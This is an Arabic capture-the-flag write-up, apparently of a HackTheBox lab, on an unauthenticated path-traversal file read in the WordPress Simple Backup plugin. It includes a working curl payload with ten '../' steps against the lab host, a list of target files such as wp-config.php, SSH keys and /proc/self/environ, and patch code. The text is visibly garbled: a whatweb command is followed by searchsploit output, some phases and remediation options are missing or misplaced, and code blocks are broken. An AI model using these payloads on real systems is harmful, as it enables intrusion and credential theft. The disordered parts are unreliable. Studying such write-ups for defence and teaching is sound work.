`page=backup_manager` يوجّه الطلب إلى معالج صفحة الإدارة في الإضافة؛ `download_backup_file` هي المعلمة التي يقرؤها كود الإضافة مباشرة ويضمّنها في مسار نظام الملفات دون تحقق، مما يسمح بتجاوز الدليل.

---

### درجة CVSS v3.1

**7.5 - عالية** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **متجه الهجوم (AV):** الشبكة
- **تعقيد الهجوم (AC):** منخفض
- **الامتيازات المطلوبة (PR):** لا شيء
- **تفاعل المستخدم (UI):** لا شيء
- **النطاق (S):** غير متغيّر
- **السرية (C):** عالية
- **السلامة (I):** لا شيء
- **التوافر (A):** لا شيء

---

### الأثر التجاري

**اختراق السرية:** ⚠️ حرج

يمكن للمهاجمين قراءة أي ملف يمكن لخادم الويب الوصول إليه، بما في ذلك:

| الملف | الأثر | مستوى الخطورة |
|------|--------|------------|
| `/wp-config.php` | بيانات اعتماد قاعدة البيانات، الأملاح، المفاتيح | 🔴 حرج |
| `/.env` | مفاتيح API، الأسرار، الإعدادات | 🔴 حرج |
| `/etc/passwd` | تعداد المستخدمين، رسم خريطة النظام | 🟠 عالي |
| مفاتيح SSH (`.ssh/id_rsa`) | حركة جانبية، وصول إلى النظام | 🔴 حرج |
| `/proc/self/environ` | أسرار التطبيق قيد التشغيل | 🟠 عالي |
| دليل ملفات المستخدمين المرفوعة | ملفات خاصة، وسائط | 🟠 عالي |

**الأثر التنظيمي:**
- **انتهاك GDPR:** وصول غير مصرح به لبيانات المستخدمين
- **انتهاك HIPAA:** تعرّض معلومات صحية محمية
- **انتهاك PCI-DSS:** الوصول إلى بيانات بطاقات الائتمان أو معلومات الدفع
- **انتهاك SOC 2:** خرق شرط السرية

---

### نمط الكود القابل للاستغلال

يوثّق تقرير Exploit-DB (39883.txt، المقروء عبر `searchsploit -x` — انظر [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) بدائية **الحذف** في الإضافة من `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` تأتي مباشرة من `$_GET['delete_backup_file']` دون أي استخدام لـ `basename()` أو فحص لاحتواء المسار. تمرير `../pizza.txt` يجعل `$bk_dir . $filename` يُحل إلى `.../simple-backup/../pizza.txt` → `.../pizza.txt`، مما يسمح بالخروج من مجلد النسخ الاحتياطي المقصود.

دالة **التنزيل** المستغلة فعليًا في هذه المهمة (`download_backup_file`) تتبع نفس نمط الدمج غير المنقّى تمامًا في نفس الإضافة، لكنها تعيد الملف إلى مقدم الطلب بدلاً من حذفه — وهو ما سمح باسترجاع `/flag.txt` من جذر نظام الملفات (10× `../` من `ABSPATH/simple-backup/`).

**المشكلة:**
- عدم استخدام `basename()` لإزالة مكونات المسار
- عدم وجود قائمة بيضاء للملفات المسموح بها
- عدم التحقق من أن `realpath()` يبقى ضمن `ABSPATH."simple-backup/"`
- دمج مباشر لمدخلات المستخدم في مسار الملف
- عدم وجود فحص `current_user_can()` أو فحص مصادقة قبل تقديم الملف — إذ يعمل المعالج عند تحميل الإضافة، قبل بوابة مصادقة `wp-admin` الخاصة بووردبريس، لذلك يمكن الوصول إليه **دون تسجيل الدخول**

---

### إثبات المفهوم

#### **المرحلة 1: الوصول الأولي — تحديد التطبيق**

تم الاتصال مباشرة بالهدف عبر المتصفح (`http://154.57.164.73:30706/`). تثبيت ووردبريس يحمل عنوان **"GETTING STARTED"**، ويكشف منشور مدونة عام على الصفحة الرئيسية عن اسم الإضافة ونسختها بدقة في نص صريح: **"Simple Backup Plugin 2.7.10 for WordPress"** — لم تكن هناك حاجة حتى لأدوات تعداد (enumeration) لتحديد المكوّن الثغري.

![الوصول الأولي - نسخة الإضافة مكشوفة على الصفحة الرئيسية لووردبريس](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **المرحلة 2: بصمة الخدمة**```bash
whatweb http://154.57.164.73:30706/

**النتيجة:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

يُوثّق التقرير ثغرة **حذف ملف تعسفي** غير مصادق عليها عبر معامل `delete_backup_file`، ويشير إلى أنه يمكن استرجاع ملفات النسخ الاحتياطي الموجودة تحت `simple-backup/` (وبواسطة نفس مسار الكود غير المنقّى، ملفات تعسفية عبر `download_backup_file`) دون مصادقة.

![Vulnerability Research - Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **المرحلة 4: الاستغلال — اجتياز المسار عبر `download_backup_file`**

تم تحديد نقطة النهاية المعرّضة للخطر من توجيه صفحة الإدارة في الإضافة:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**واجهة المستخدم الرسومية (المستخدمة في هذا التقييم):** تم الانتقال إلى رابط الحمولة مباشرةً في شريط عنوان المتصفح. لم يكن تسجيل الدخول مطلوبًا — حيث قام المتصفح بتشغيل تنزيل تلقائي للملف الناتج `flag.txt`.

![الاستغلال - حمولة اجتياز المسار في شريط عنوان المتصفح، تم تنزيل flag.txt](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**المكافئ بدون واجهة رسومية:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### التحقق من التأثير

✅ **سرية البيانات مخترقة:** أي ملف يمكن قراءته بواسطة عملية خادم الويب يمكن الوصول إليه
✅ **لا يتطلب مصادقة:** يمكن للمستخدمين غير المصادق عليهم استغلال الثغرة
✅ **لا يتطلب تفاعل المستخدم:** استغلال مباشر عبر طلب HTTP
✅ **قابل للتكرار والموثوقية:** يعمل على جميع الإصدارات المعرضة للخطر
✅ **بيانات الأعمال الحرجة في خطر:** ملفات الإعدادات وبيانات الاعتماد وبيانات المستخدم مكشوفة

---

## المعالجة

### **الخيار 1: القائمة البيضاء للمدخلات (موصى به)**

السماح فقط بالتنزيلات من قائمة محددة مسبقًا من الملفات:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**المزايا:**
- يتعامل مع الروابط الرمزية والمسارات المعقدة
- يتحقق من الاحتواء تلقائيًا
- أكثر مرونة من القائمة البيضاء

---

### **الخيار 3: استخدام basename() لاسم الملف فقط**

استخرج مكوّن اسم الملف فقط:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**أذونات نظام الملفات:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**إدارة التحديث:**

1. تعطيل أو إزالة إضافة Simple Backup
2. تثبيت حل نسخ احتياطي معتمد مع تدقيق أمني
3. تحديث WordPress إلى أحدث إصدار
4. تحديث جميع الإضافات إلى أحدث الإصدارات
5. تحديث PHP إلى 8.0+ مع التصحيحات الأمنية

---

## سلسلة الهجوم```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘